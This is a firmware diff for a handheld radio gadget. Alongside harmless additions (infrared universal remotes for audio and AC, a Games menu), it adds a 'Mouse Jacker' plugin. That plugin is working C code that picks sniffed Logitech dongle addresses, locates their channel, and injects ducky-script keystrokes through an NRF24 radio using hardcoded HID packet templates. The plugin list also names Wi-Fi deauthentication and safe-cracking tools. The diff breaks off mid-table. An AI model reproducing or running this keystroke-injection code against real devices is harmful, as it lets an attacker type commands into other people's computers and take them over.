|
||||
// TODO that must be accessible only to ContainerVMData
|
||||
void set_parent_view(View* view);
|
||||
|
||||
// TODO that must be accessible only to inheritors
|
||||
void lock_model();
|
||||
void unlock_model(bool need_redraw);
|
||||
|
||||
private:
|
||||
View* view = nullptr;
|
||||
};
|
17
applications/hid_analyzer/view/elements/icon_element.h
Normal file
17
applications/hid_analyzer/view/elements/icon_element.h
Normal file
|
@ -0,0 +1,17 @@
|
|||
#pragma once
|
||||
#include "generic_element.h"
|
||||
|
||||
class IconElement : public GenericElement {
|
||||
public:
|
||||
IconElement();
|
||||
~IconElement() final;
|
||||
void draw(Canvas* canvas) final;
|
||||
bool input(InputEvent* event) final;
|
||||
|
||||
void set_icon(uint8_t x = 0, uint8_t y = 0, const Icon* icon = NULL);
|
||||
|
||||
private:
|
||||
const Icon* icon = NULL;
|
||||
uint8_t x = 0;
|
||||
uint8_t y = 0;
|
||||
};
|
28
applications/hid_analyzer/view/elements/string_element.h
Normal file
28
applications/hid_analyzer/view/elements/string_element.h
Normal file
|
@ -0,0 +1,28 @@
|
|||
#pragma once
|
||||
#include "generic_element.h"
|
||||
|
||||
class StringElement : public GenericElement {
|
||||
public:
|
||||
StringElement();
|
||||
~StringElement() final;
|
||||
void draw(Canvas* canvas) final;
|
||||
bool input(InputEvent* event) final;
|
||||
|
||||
void set_text(
|
||||
const char* text = NULL,
|
||||
uint8_t x = 0,
|
||||
uint8_t y = 0,
|
||||
uint8_t fit_width = 0,
|
||||
Align horizontal = AlignLeft,
|
||||
Align vertical = AlignTop,
|
||||
Font font = FontPrimary);
|
||||
|
||||
private:
|
||||
const char* text = NULL;
|
||||
uint8_t x = 0;
|
||||
uint8_t y = 0;
|
||||
uint8_t fit_width = 0;
|
||||
Align horizontal = AlignLeft;
|
||||
Align vertical = AlignTop;
|
||||
Font font = FontPrimary;
|
||||
};
|
|
@ -15,6 +15,8 @@ ADD_SCENE(infrared, remote, Remote)
|
|||
ADD_SCENE(infrared, remote_list, RemoteList)
|
||||
ADD_SCENE(infrared, universal, Universal)
|
||||
ADD_SCENE(infrared, universal_tv, UniversalTV)
|
||||
ADD_SCENE(infrared, universal_ac, UniversalAC)
|
||||
ADD_SCENE(infrared, universal_audio, UniversalAudio)
|
||||
ADD_SCENE(infrared, debug, Debug)
|
||||
ADD_SCENE(infrared, error_databases, ErrorDatabases)
|
||||
ADD_SCENE(infrared, rpc, Rpc)
|
||||
|
|
|
@ -23,6 +23,20 @@ void infrared_scene_universal_on_enter(void* context) {
|
|||
context);
|
||||
submenu_set_selected_item(submenu, 0);
|
||||
|
||||
submenu_add_item(
|
||||
submenu,
|
||||
"Audio",
|
||||
SubmenuIndexUniversalAudio,
|
||||
infrared_scene_universal_submenu_callback,
|
||||
context);
|
||||
|
||||
submenu_add_item(
|
||||
submenu,
|
||||
"ACs",
|
||||
SubmenuIndexUniversalAirConditioner,
|
||||
infrared_scene_universal_submenu_callback,
|
||||
context);
|
||||
|
||||
view_dispatcher_switch_to_view(infrared->view_dispatcher, InfraredViewSubmenu);
|
||||
}
|
||||
|
||||
|
@ -36,10 +50,10 @@ bool infrared_scene_universal_on_event(void* context, SceneManagerEvent event) {
|
|||
scene_manager_next_scene(scene_manager, InfraredSceneUniversalTV);
|
||||
consumed = true;
|
||||
} else if(event.event == SubmenuIndexUniversalAudio) {
|
||||
//TODO Implement Audio universal remote
|
||||
scene_manager_next_scene(scene_manager, InfraredSceneUniversalAudio);
|
||||
consumed = true;
|
||||
} else if(event.event == SubmenuIndexUniversalAirConditioner) {
|
||||
//TODO Implement A/C universal remote
|
||||
scene_manager_next_scene(scene_manager, InfraredSceneUniversalAC);
|
||||
consumed = true;
|
||||
}
|
||||
}
|
||||
|
|
50
applications/infrared/scenes/infrared_scene_universal_ac.c
Normal file
50
applications/infrared/scenes/infrared_scene_universal_ac.c
Normal file
|
@ -0,0 +1,50 @@
|
|||
#include "../infrared_i.h"
|
||||
|
||||
#include "common/infrared_scene_universal_common.h"
|
||||
|
||||
void infrared_scene_universal_ac_on_enter(void* context) {
|
||||
infrared_scene_universal_common_on_enter(context);
|
||||
|
||||
Infrared* infrared = context;
|
||||
ButtonPanel* button_panel = infrared->button_panel;
|
||||
InfraredBruteForce* brute_force = infrared->brute_force;
|
||||
|
||||
infrared_brute_force_set_db_filename(brute_force, EXT_PATH("infrared/assets/ac.ir"));
|
||||
|
||||
//TODO Improve A/C universal remote
|
||||
button_panel_reserve(button_panel, 1, 1);
|
||||
uint32_t i = 0;
|
||||
button_panel_add_item(
|
||||
button_panel,
|
||||
i,
|
||||
0,
|
||||
0,
|
||||
20,
|
||||
19,
|
||||
&I_Power_25x27,
|
||||
&I_Power_hvr_25x27,
|
||||
infrared_scene_universal_common_item_callback,
|
||||
context);
|
||||
infrared_brute_force_add_record(brute_force, i++, "POWER");
|
||||
|
||||
button_panel_add_label(button_panel, 6, 11, FontPrimary, "AC remote");
|
||||
|
||||
view_set_orientation(view_stack_get_view(infrared->view_stack), ViewOrientationVertical);
|
||||
view_dispatcher_switch_to_view(infrared->view_dispatcher, InfraredViewStack);
|
||||
|
||||
infrared_show_loading_popup(infrared, true);
|
||||
bool success = infrared_brute_force_calculate_messages(brute_force);
|
||||
infrared_show_loading_popup(infrared, false);
|
||||
|
||||
if(!success) {
|
||||
scene_manager_next_scene(infrared->scene_manager, InfraredSceneErrorDatabases);
|
||||
}
|
||||
}
|
||||
|
||||
bool infrared_scene_universal_ac_on_event(void* context, SceneManagerEvent event) {
|
||||
return infrared_scene_universal_common_on_event(context, event);
|
||||
}
|
||||
|
||||
void infrared_scene_universal_ac_on_exit(void* context) {
|
||||
infrared_scene_universal_common_on_exit(context);
|
||||
}
|
|
@ -0,0 +1,61 @@
|
|||
#include "../infrared_i.h"
|
||||
|
||||
#include "common/infrared_scene_universal_common.h"
|
||||
|
||||
void infrared_scene_universal_audio_on_enter(void* context) {
|
||||
infrared_scene_universal_common_on_enter(context);
|
||||
|
||||
Infrared* infrared = context;
|
||||
ButtonPanel* button_panel = infrared->button_panel;
|
||||
InfraredBruteForce* brute_force = infrared->brute_force;
|
||||
|
||||
infrared_brute_force_set_db_filename(brute_force, EXT_PATH("infrared/assets/audio.ir"));
|
||||
//TODO Improve Audio universal remote
|
||||
button_panel_reserve(button_panel, 2, 1);
|
||||
uint32_t i = 0;
|
||||
button_panel_add_item(
|
||||
button_panel,
|
||||
i,
|
||||
0,
|
||||
0,
|
||||
3,
|
||||
19,
|
||||
&I_Power_25x27,
|
||||
&I_Power_hvr_25x27,
|
||||
infrared_scene_universal_common_item_callback,
|
||||
context);
|
||||
infrared_brute_force_add_record(brute_force, i++, "POWER");
|
||||
button_panel_add_item(
|
||||
button_panel,
|
||||
i,
|
||||
1,
|
||||
0,
|
||||
36,
|
||||
19,
|
||||
&I_Mute_25x27,
|
||||
&I_Mute_hvr_25x27,
|
||||
infrared_scene_universal_common_item_callback,
|
||||
context);
|
||||
infrared_brute_force_add_record(brute_force, i++, "MUTE");
|
||||
|
||||
button_panel_add_label(button_panel, 4, 11, FontSecondary, "Audio remote");
|
||||
|
||||
view_set_orientation(view_stack_get_view(infrared->view_stack), ViewOrientationVertical);
|
||||
view_dispatcher_switch_to_view(infrared->view_dispatcher, InfraredViewStack);
|
||||
|
||||
infrared_show_loading_popup(infrared, true);
|
||||
bool success = infrared_brute_force_calculate_messages(brute_force);
|
||||
infrared_show_loading_popup(infrared, false);
|
||||
|
||||
if(!success) {
|
||||
scene_manager_next_scene(infrared->scene_manager, InfraredSceneErrorDatabases);
|
||||
}
|
||||
}
|
||||
|
||||
bool infrared_scene_universal_audio_on_event(void* context, SceneManagerEvent event) {
|
||||
return infrared_scene_universal_common_on_event(context, event);
|
||||
}
|
||||
|
||||
void infrared_scene_universal_audio_on_exit(void* context) {
|
||||
infrared_scene_universal_common_on_exit(context);
|
||||
}
|
|
@ -82,6 +82,10 @@ const FlipperApplication* loader_find_application_by_name(const char* name) {
|
|||
application =
|
||||
loader_find_application_by_name_in_list(name, FLIPPER_PLUGINS, FLIPPER_PLUGINS_COUNT);
|
||||
}
|
||||
if(!application) {
|
||||
application =
|
||||
loader_find_application_by_name_in_list(name, FLIPPER_GAMES, FLIPPER_GAMES_COUNT);
|
||||
}
|
||||
if(!application) {
|
||||
application = loader_find_application_by_name_in_list(
|
||||
name, FLIPPER_SETTINGS_APPS, FLIPPER_SETTINGS_APPS_COUNT);
|
||||
|
@ -151,6 +155,11 @@ void loader_cli_list(Cli* cli, string_t args, Loader* instance) {
|
|||
printf("\t%s\r\n", FLIPPER_PLUGINS[i].name);
|
||||
}
|
||||
|
||||
printf("Games:\r\n");
|
||||
for(size_t i = 0; i < FLIPPER_GAMES_COUNT; i++) {
|
||||
printf("\t%s\r\n", FLIPPER_GAMES[i].name);
|
||||
}
|
||||
|
||||
if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) {
|
||||
printf("Debug:\r\n");
|
||||
for(size_t i = 0; i < FLIPPER_DEBUG_APPS_COUNT; i++) {
|
||||
|
@ -318,6 +327,13 @@ static Loader* loader_alloc() {
|
|||
instance->view_dispatcher,
|
||||
LoaderMenuViewPlugins,
|
||||
submenu_get_view(instance->plugins_menu));
|
||||
// Games menu
|
||||
instance->games_menu = submenu_alloc();
|
||||
view_set_context(submenu_get_view(instance->games_menu), instance->games_menu);
|
||||
view_set_previous_callback(
|
||||
submenu_get_view(instance->games_menu), loader_back_to_primary_menu);
|
||||
view_dispatcher_add_view(
|
||||
instance->view_dispatcher, LoaderMenuViewGames, submenu_get_view(instance->games_menu));
|
||||
// Debug menu
|
||||
instance->debug_menu = submenu_alloc();
|
||||
view_set_context(submenu_get_view(instance->debug_menu), instance->debug_menu);
|
||||
|
@ -355,6 +371,8 @@ static void loader_free(Loader* instance) {
|
|||
view_dispatcher_remove_view(loader_instance->view_dispatcher, LoaderMenuViewPrimary);
|
||||
submenu_free(loader_instance->plugins_menu);
|
||||
view_dispatcher_remove_view(loader_instance->view_dispatcher, LoaderMenuViewPlugins);
|
||||
submenu_free(loader_instance->games_menu);
|
||||
view_dispatcher_remove_view(loader_instance->view_dispatcher, LoaderMenuViewGames);
|
||||
submenu_free(loader_instance->debug_menu);
|
||||
view_dispatcher_remove_view(loader_instance->view_dispatcher, LoaderMenuViewDebug);
|
||||
submenu_free(loader_instance->settings_menu);
|
||||
|
@ -388,6 +406,15 @@ static void loader_build_menu() {
|
|||
loader_submenu_callback,
|
||||
(void*)LoaderMenuViewPlugins);
|
||||
}
|
||||
if(FLIPPER_GAMES_COUNT != 0) {
|
||||
menu_add_item(
|
||||
loader_instance->primary_menu,
|
||||
"Games",
|
||||
&A_Games_14,
|
||||
i++,
|
||||
loader_submenu_callback,
|
||||
(void*)LoaderMenuViewGames);
|
||||
}
|
||||
if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) {
|
||||
menu_add_item(
|
||||
loader_instance->primary_menu,
|
||||
|
@ -418,6 +445,16 @@ static void loader_build_submenu() {
|
|||
(void*)&FLIPPER_PLUGINS[i]);
|
||||
}
|
||||
|
||||
FURI_LOG_I(TAG, "Building games menu");
|
||||
for(i = 0; i < FLIPPER_GAMES_COUNT; i++) {
|
||||
submenu_add_item(
|
||||
loader_instance->games_menu,
|
||||
FLIPPER_GAMES[i].name,
|
||||
i,
|
||||
loader_menu_callback,
|
||||
(void*)&FLIPPER_GAMES[i]);
|
||||
}
|
||||
|
||||
FURI_LOG_I(TAG, "Building debug menu");
|
||||
for(i = 0; i < FLIPPER_DEBUG_APPS_COUNT; i++) {
|
||||
submenu_add_item(
|
||||
|
|
|
@ -27,6 +27,7 @@ struct Loader {
|
|||
ViewDispatcher* view_dispatcher;
|
||||
Menu* primary_menu;
|
||||
Submenu* plugins_menu;
|
||||
Submenu* games_menu;
|
||||
Submenu* debug_menu;
|
||||
Submenu* settings_menu;
|
||||
|
||||
|
@ -38,6 +39,7 @@ struct Loader {
|
|||
typedef enum {
|
||||
LoaderMenuViewPrimary,
|
||||
LoaderMenuViewPlugins,
|
||||
LoaderMenuViewGames,
|
||||
LoaderMenuViewDebug,
|
||||
LoaderMenuViewSettings,
|
||||
} LoaderMenuView;
|
||||
|
|
|
@ -35,7 +35,48 @@ App(
|
|||
apptype=FlipperAppType.METAPACKAGE,
|
||||
provides=[
|
||||
"music_player",
|
||||
"snake_game",
|
||||
"bt_hid",
|
||||
],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="custom_games",
|
||||
name="Custom applications for games menu",
|
||||
apptype=FlipperAppType.METAPACKAGE,
|
||||
provides=[
|
||||
"snake_game",
|
||||
"tetris_game",
|
||||
"arkanoid_game",
|
||||
"tictactoe_game",
|
||||
],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="custom_apps",
|
||||
name="Custom applications for main menu",
|
||||
apptype=FlipperAppType.METAPACKAGE,
|
||||
provides=[
|
||||
"clock",
|
||||
"spectrum_analyzer",
|
||||
"unirfremix",
|
||||
],
|
||||
)
|
||||
|
||||
App(
|
||||
appid="custom_plugins",
|
||||
name="Custom applications for plug-in menu",
|
||||
apptype=FlipperAppType.METAPACKAGE,
|
||||
provides=[
|
||||
"picopass",
|
||||
"hid_analyzer",
|
||||
"barcode_generator",
|
||||
"mouse_jacker",
|
||||
"nrf_sniff",
|
||||
"sentry_safe",
|
||||
"wifi_marauder",
|
||||
"esp8266_deauth",
|
||||
"wifi_scanner",
|
||||
"wav_player",
|
||||
"dec_hex_converter",
|
||||
],
|
||||
)
|
13
applications/mousejacker/application.fam
Normal file
13
applications/mousejacker/application.fam
Normal file
|
@ -0,0 +1,13 @@
|
|||
App(
|
||||
appid="mouse_jacker",
|
||||
name="[NRF24] Mouse Jacker",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="mousejacker_app",
|
||||
cdefines=["APP_MOUSEJACKER"],
|
||||
requires=[
|
||||
"gui",
|
||||
"dialogs",
|
||||
],
|
||||
stack_size=2 * 1024,
|
||||
order=60,
|
||||
)
|
337
applications/mousejacker/mousejacker.c
Normal file
337
applications/mousejacker/mousejacker.c
Normal file
|
@ -0,0 +1,337 @@
|
|||
#include <furi.h>
|
||||
#include <gui/gui.h>
|
||||
#include <dialogs/dialogs.h>
|
||||
#include <input/input.h>
|
||||
#include <stdlib.h>
|
||||
#include <furi_hal.h>
|
||||
#include <furi_hal_gpio.h>
|
||||
#include <furi_hal_spi.h>
|
||||
#include <furi_hal_interrupt.h>
|
||||
#include <furi_hal_resources.h>
|
||||
#include <nrf24.h>
|
||||
#include <toolbox/stream/file_stream.h>
|
||||
#include "mousejacker_ducky.h"
|
||||
|
||||
#define TAG "mousejacker"
|
||||
#define LOGITECH_MAX_CHANNEL 85
|
||||
#define NRFSNIFF_APP_PATH_FOLDER "/ext/nrfsniff"
|
||||
#define NRFSNIFF_APP_PATH_EXTENSION ".txt"
|
||||
#define NRFSNIFF_APP_FILENAME "addresses.txt"
|
||||
#define MOUSEJACKER_APP_PATH_FOLDER "/ext/mousejacker"
|
||||
#define MOUSEJACKER_APP_PATH_EXTENSION ".txt"
|
||||
#define MAX_ADDRS 100
|
||||
|
||||
typedef enum {
|
||||
EventTypeTick,
|
||||
EventTypeKey,
|
||||
} EventType;
|
||||
|
||||
typedef struct {
|
||||
EventType type;
|
||||
InputEvent input;
|
||||
} PluginEvent;
|
||||
|
||||
typedef struct {
|
||||
int x;
|
||||
int y;
|
||||
bool ducky_err;
|
||||
bool addr_err;
|
||||
} PluginState;
|
||||
|
||||
uint8_t addrs_count = 0;
|
||||
uint8_t loaded_addrs[MAX_ADDRS][6]; // first byte is rate, the rest are the address
|
||||
|
||||
char target_fmt_text[] = "Target addr: %s";
|
||||
char target_address_str[12] = "None";
|
||||
char target_text[30];
|
||||
|
||||
static void render_callback(Canvas* const canvas, void* ctx) {
|
||||
const PluginState* plugin_state = acquire_mutex((ValueMutex*)ctx, 25);
|
||||
if(plugin_state == NULL) {
|
||||
return;
|
||||
}
|
||||
// border around the edge of the screen
|
||||
canvas_draw_frame(canvas, 0, 0, 128, 64);
|
||||
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
if(!plugin_state->addr_err && !plugin_state->ducky_err) {
|
||||
snprintf(target_text, sizeof(target_text), target_fmt_text, target_address_str);
|
||||
canvas_draw_str_aligned(canvas, 7, 10, AlignLeft, AlignBottom, target_text);
|
||||
canvas_draw_str_aligned(canvas, 22, 20, AlignLeft, AlignBottom, "<- select address ->");
|
||||
canvas_draw_str_aligned(canvas, 10, 30, AlignLeft, AlignBottom, "Press Ok button to ");
|
||||
canvas_draw_str_aligned(canvas, 10, 40, AlignLeft, AlignBottom, "browse for ducky script");
|
||||
} else if(plugin_state->addr_err) {
|
||||
canvas_draw_str_aligned(
|
||||
canvas, 10, 10, AlignLeft, AlignBottom, "Error: No nrfsniff folder");
|
||||
canvas_draw_str_aligned(canvas, 10, 20, AlignLeft, AlignBottom, "or addresses.txt file");
|
||||
canvas_draw_str_aligned(
|
||||
canvas, 10, 30, AlignLeft, AlignBottom, "loading error / empty file");
|
||||
canvas_draw_str_aligned(
|
||||
canvas, 7, 40, AlignLeft, AlignBottom, "Run (NRF24: Sniff) app first!");
|
||||
} else if(plugin_state->ducky_err) {
|
||||
canvas_draw_str_aligned(
|
||||
canvas, 10, 10, AlignLeft, AlignBottom, "Error: No mousejacker folder");
|
||||
canvas_draw_str_aligned(canvas, 10, 20, AlignLeft, AlignBottom, "or duckyscript file");
|
||||
canvas_draw_str_aligned(canvas, 10, 30, AlignLeft, AlignBottom, "loading error");
|
||||
}
|
||||
|
||||
release_mutex((ValueMutex*)ctx, plugin_state);
|
||||
}
|
||||
|
||||
static void input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) {
|
||||
furi_assert(event_queue);
|
||||
|
||||
PluginEvent event = {.type = EventTypeKey, .input = *input_event};
|
||||
furi_message_queue_put(event_queue, &event, FuriWaitForever);
|
||||
}
|
||||
|
||||
static void mousejacker_state_init(PluginState* const plugin_state) {
|
||||
plugin_state->x = 50;
|
||||
plugin_state->y = 30;
|
||||
}
|
||||
|
||||
static void hexlify(uint8_t* in, uint8_t size, char* out) {
|
||||
memset(out, 0, size * 2);
|
||||
for(int i = 0; i < size; i++)
|
||||
snprintf(out + strlen(out), sizeof(out + strlen(out)), "%02X", in[i]);
|
||||
}
|
||||
|
||||
static bool open_ducky_script(Stream* stream) {
|
||||
DialogsApp* dialogs = furi_record_open("dialogs");
|
||||
bool result = false;
|
||||
string_t path;
|
||||
string_init(path);
|
||||
string_set_str(path, MOUSEJACKER_APP_PATH_FOLDER);
|
||||
bool ret = dialog_file_browser_show(
|
||||
dialogs, path, path, MOUSEJACKER_APP_PATH_EXTENSION, true, &I_badusb_10px, false);
|
||||
|
||||
furi_record_close("dialogs");
|
||||
if(ret) {
|
||||
if(!file_stream_open(stream, string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {
|
||||
FURI_LOG_I(TAG, "Cannot open file \"%s\"", (path));
|
||||
} else {
|
||||
result = true;
|
||||
}
|
||||
}
|
||||
string_clear(path);
|
||||
return result;
|
||||
}
|
||||
|
||||
static bool open_addrs_file(Stream* stream) {
|
||||
DialogsApp* dialogs = furi_record_open("dialogs");
|
||||
bool result = false;
|
||||
string_t path;
|
||||
string_init(path);
|
||||
string_set_str(path, NRFSNIFF_APP_PATH_FOLDER);
|
||||
bool ret = dialog_file_browser_show(
|
||||
dialogs, path, path, NRFSNIFF_APP_PATH_EXTENSION, true, &I_sub1_10px, false);
|
||||
|
||||
furi_record_close("dialogs");
|
||||
if(ret) {
|
||||
if(!file_stream_open(stream, string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {
|
||||
FURI_LOG_I(TAG, "Cannot open file \"%s\"", (path));
|
||||
} else {
|
||||
result = true;
|
||||
}
|
||||
}
|
||||
string_clear(path);
|
||||
return result;
|
||||
}
|
||||
|
||||
static bool
|
||||
process_ducky_file(Stream* file_stream, uint8_t* addr, uint8_t addr_size, uint8_t rate) {
|
||||
size_t file_size = 0;
|
||||
size_t bytes_read = 0;
|
||||
uint8_t* file_buf;
|
||||
bool loaded = false;
|
||||
FURI_LOG_I(TAG, "opening ducky script");
|
||||
if(open_ducky_script(file_stream)) {
|
||||
file_size = stream_size(file_stream);
|
||||
if(file_size == (size_t)0) {
|
||||
FURI_LOG_I(TAG, "load failed. file_size: %d", file_size);
|
||||
return loaded;
|
||||
}
|
||||
file_buf = malloc(file_size);
|
||||
memset(file_buf, 0, file_size);
|
||||
bytes_read = stream_read(file_stream, file_buf, file_size);
|
||||
if(bytes_read == file_size) {
|
||||
FURI_LOG_I(TAG, "executing ducky script");
|
||||
mj_process_ducky_script(nrf24_HANDLE, addr, addr_size, rate, (char*)file_buf);
|
||||
FURI_LOG_I(TAG, "finished execution");
|
||||
loaded = true;
|
||||
} else {
|
||||
FURI_LOG_I(TAG, "load failed. file size: %d", file_size);
|
||||
}
|
||||
free(file_buf);
|
||||
}
|
||||
return loaded;
|
||||
}
|
||||
|
||||
static bool load_addrs_file(Stream* file_stream) {
|
||||
size_t file_size = 0;
|
||||
size_t bytes_read = 0;
|
||||
uint8_t* file_buf;
|
||||
char* line_ptr;
|
||||
uint8_t rate;
|
||||
uint8_t addrlen = 0;
|
||||
uint32_t counter = 0;
|
||||
uint8_t addr[5] = {0};
|
||||
uint32_t i_addr_lo = 0;
|
||||
uint32_t i_addr_hi = 0;
|
||||
bool loaded = false;
|
||||
FURI_LOG_I(TAG, "opening addrs file");
|
||||
addrs_count = 0;
|
||||
if(open_addrs_file(file_stream)) {
|
||||
file_size = stream_size(file_stream);
|
||||
if(file_size == (size_t)0) {
|
||||
FURI_LOG_I(TAG, "load failed. file_size: %d", file_size);
|
||||
return loaded;
|
||||
}
|
||||
file_buf = malloc(file_size);
|
||||
memset(file_buf, 0, file_size);
|
||||
bytes_read = stream_read(file_stream, file_buf, file_size);
|
||||
if(bytes_read == file_size) {
|
||||
FURI_LOG_I(TAG, "loading addrs file");
|
||||
char* line = strtok((char*)file_buf, "\n");
|
||||
|
||||
while(line != NULL) {
|
||||
line_ptr = strstr((char*)line, ",");
|
||||
*line_ptr = 0;
|
||||
rate = atoi(line_ptr + 1);
|
||||
addrlen = (uint8_t)(strlen(line) / 2);
|
||||
i_addr_lo = strtoul(line + 2, NULL, 16);
|
||||
line[2] = (char)0;
|
||||
i_addr_hi = strtoul(line, NULL, 16);
|
||||
int32_to_bytes(i_addr_lo, &addr[1], true);
|
||||
addr[0] = (uint8_t)(i_addr_hi & 0xFF);
|
||||
memset(loaded_addrs[counter], rate, 1);
|
||||
memcpy(&loaded_addrs[counter++][1], addr, addrlen);
|
||||
addrs_count++;
|
||||
line = strtok(NULL, "\n");
|
||||
loaded = true;
|
||||
}
|
||||
} else {
|
||||
FURI_LOG_I(TAG, "load failed. file size: %d", file_size);
|
||||
}
|
||||
free(file_buf);
|
||||
}
|
||||
return loaded;
|
||||
}
|
||||
|
||||
int32_t mousejacker_app(void* p) {
|
||||
UNUSED(p);
|
||||
uint8_t addr_idx = 0;
|
||||
bool ducky_ok = false;
|
||||
FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent));
|
||||
|
||||
PluginState* plugin_state = malloc(sizeof(PluginState));
|
||||
mousejacker_state_init(plugin_state);
|
||||
ValueMutex state_mutex;
|
||||
if(!init_mutex(&state_mutex, plugin_state, sizeof(PluginState))) {
|
||||
FURI_LOG_E("mousejacker", "cannot create mutex\r\n");
|
||||
free(plugin_state);
|
||||
return 255;
|
||||
}
|
||||
|
||||
// Set system callbacks
|
||||
ViewPort* view_port = view_port_alloc();
|
||||
view_port_draw_callback_set(view_port, render_callback, &state_mutex);
|
||||
view_port_input_callback_set(view_port, input_callback, event_queue);
|
||||
|
||||
// Open GUI and register view_port
|
||||
Gui* gui = furi_record_open("gui");
|
||||
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
|
||||
|
||||
Storage* storage = furi_record_open("storage");
|
||||
storage_common_mkdir(storage, MOUSEJACKER_APP_PATH_FOLDER);
|
||||
Stream* file_stream = file_stream_alloc(storage);
|
||||
|
||||
// spawn load file dialog to choose sniffed addresses file
|
||||
if(load_addrs_file(file_stream)) {
|
||||
addr_idx = 0;
|
||||
hexlify(&loaded_addrs[addr_idx][1], 5, target_address_str);
|
||||
plugin_state->addr_err = false;
|
||||
} else {
|
||||
plugin_state->addr_err = true;
|
||||
}
|
||||
stream_free(file_stream);
|
||||
nrf24_init();
|
||||
|
||||
PluginEvent event;
|
||||
for(bool processing = true; processing;) {
|
||||
FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100);
|
||||
PluginState* plugin_state = (PluginState*)acquire_mutex_block(&state_mutex);
|
||||
|
||||
if(event_status == FuriStatusOk) {
|
||||
// press events
|
||||
if(event.type == EventTypeKey) {
|
||||
if(event.input.type == InputTypePress) {
|
||||
switch(event.input.key) {
|
||||
case InputKeyUp:
|
||||
break;
|
||||
case InputKeyDown:
|
||||
break;
|
||||
case InputKeyRight:
|
||||
if(!plugin_state->addr_err) {
|
||||
addr_idx++;
|
||||
if(addr_idx > addrs_count) addr_idx = 0;
|
||||
hexlify(loaded_addrs[addr_idx] + 1, 5, target_address_str);
|
||||
}
|
||||
break;
|
||||
case InputKeyLeft:
|
||||
if(!plugin_state->addr_err) {
|
||||
addr_idx--;
|
||||
if(addr_idx == 0) addr_idx = addrs_count - 1;
|
||||
hexlify(loaded_addrs[addr_idx] + 1, 5, target_address_str);
|
||||
}
|
||||
break;
|
||||
case InputKeyOk:
|
||||
if(!plugin_state->addr_err) {
|
||||
file_stream = file_stream_alloc(storage);
|
||||
nrf24_find_channel(
|
||||
nrf24_HANDLE,
|
||||
loaded_addrs[addr_idx] + 1,
|
||||
loaded_addrs[addr_idx] + 1,
|
||||
5,
|
||||
loaded_addrs[addr_idx][0],
|
||||
2,
|
||||
LOGITECH_MAX_CHANNEL,
|
||||
true);
|
||||
ducky_ok = process_ducky_file(
|
||||
file_stream,
|
||||
loaded_addrs[addr_idx] + 1,
|
||||
5,
|
||||
loaded_addrs[addr_idx][0]);
|
||||
if(!ducky_ok) {
|
||||
plugin_state->ducky_err = true;
|
||||
} else {
|
||||
plugin_state->ducky_err = false;
|
||||
}
|
||||
stream_free(file_stream);
|
||||
}
|
||||
break;
|
||||
case InputKeyBack:
|
||||
processing = false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
FURI_LOG_D("mousejacker", "furi_message_queue: event timeout");
|
||||
// event timeout
|
||||
}
|
||||
|
||||
view_port_update(view_port);
|
||||
release_mutex(&state_mutex, plugin_state);
|
||||
}
|
||||
|
||||
furi_hal_spi_release(nrf24_HANDLE);
|
||||
view_port_enabled_set(view_port, false);
|
||||
gui_remove_view_port(gui, view_port);
|
||||
furi_record_close("gui");
|
||||
furi_record_close("storage");
|
||||
view_port_free(view_port);
|
||||
furi_message_queue_free(event_queue);
|
||||
|
||||
return 0;
|
||||
}
|
355
applications/mousejacker/mousejacker_ducky.c
Normal file
355
applications/mousejacker/mousejacker_ducky.c
Normal file
|
@ -0,0 +1,355 @@
|
|||
#include "mousejacker_ducky.h"
|
||||
|
||||
static const char ducky_cmd_comment[] = {"REM"};
|
||||
static const char ducky_cmd_delay[] = {"DELAY "};
|
||||
static const char ducky_cmd_string[] = {"STRING "};
|
||||
static const char ducky_cmd_repeat[] = {"REPEAT "};
|
||||
|
||||
static uint8_t LOGITECH_HID_TEMPLATE[] =
|
||||
{0x00, 0xC1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
|
||||
static uint8_t LOGITECH_HELLO[] = {0x00, 0x4F, 0x00, 0x04, 0xB0, 0x10, 0x00, 0x00, 0x00, 0xED};
|
||||
static uint8_t LOGITECH_KEEPALIVE[] = {0x00, 0x40, 0x00, 0x55, 0x6B};
|
||||
|
||||
uint8_t prev_hid = 0;
|
||||
|
||||
#define RT_THRESHOLD 50
|
||||
#define LOGITECH_MIN_CHANNEL 2
|
||||
#define LOGITECH_MAX_CHANNEL 83
|
||||
#define LOGITECH_KEEPALIVE_SIZE 5
|
||||
#define LOGITECH_HID_TEMPLATE_SIZE 10
|
||||
#define LOGITECH_HELLO_SIZE 10
|
||||
#define TAG "mousejacker_ducky"
|
||||
|
||||
MJDuckyKey mj_ducky_keys[] = {{" ", 44, 0}, {"!", 30, 2}, {"\"", 52, 2},
|
||||
{"#", 32, 2}, {"$", 33, 2}, {"%", 34, 2},
|
||||
{"&", 36, 2}, {"'", 52, 0}, {"(", 38, 2},
|
||||
{")", 39, 2}, {"*", 37, 2}, {"+", 46, 2},
|
||||
{",", 54, 0}, {"-", 45, 0}, {".", 55, 0},
|
||||
{"/", 56, 0}, {"0", 39, 0}, {"1", 30, 0},
|
||||
{"2", 31, 0}, {"3", 32, 0}, {"4", 33, 0},
|
||||
{"5", 34, 0}, {"6", 35, 0}, {"7", 36, 0},
|
||||
{"8", 37, 0}, {"9", 38, 0}, {":", 51, 2},
|
||||
{";", 51, 0}, {"<", 54, 2}, {"=", 46, 0},
|
||||
{">", 55, 2}, {"?", 56, 2}, {"@", 31, 2},
|
||||
{"A", 4, 2}, {"B", 5, 2}, {"C", 6, 2},
|
||||
{"D", 7, 2}, {"E", 8, 2}, {"F", 9, 2},
|
||||
{"G", 10, 2}, {"H", 11, 2}, {"I", 12, 2},
|
||||
{"J", 13, 2}, {"K", 14, 2}, {"L", 15, 2},
|
||||
{"M", 16, 2}, {"N", 17, 2}, {"O", 18, 2},
|
||||
{"P", 19, 2}, {"Q", 20, 2}, {"R", 21, 2},
|
||||
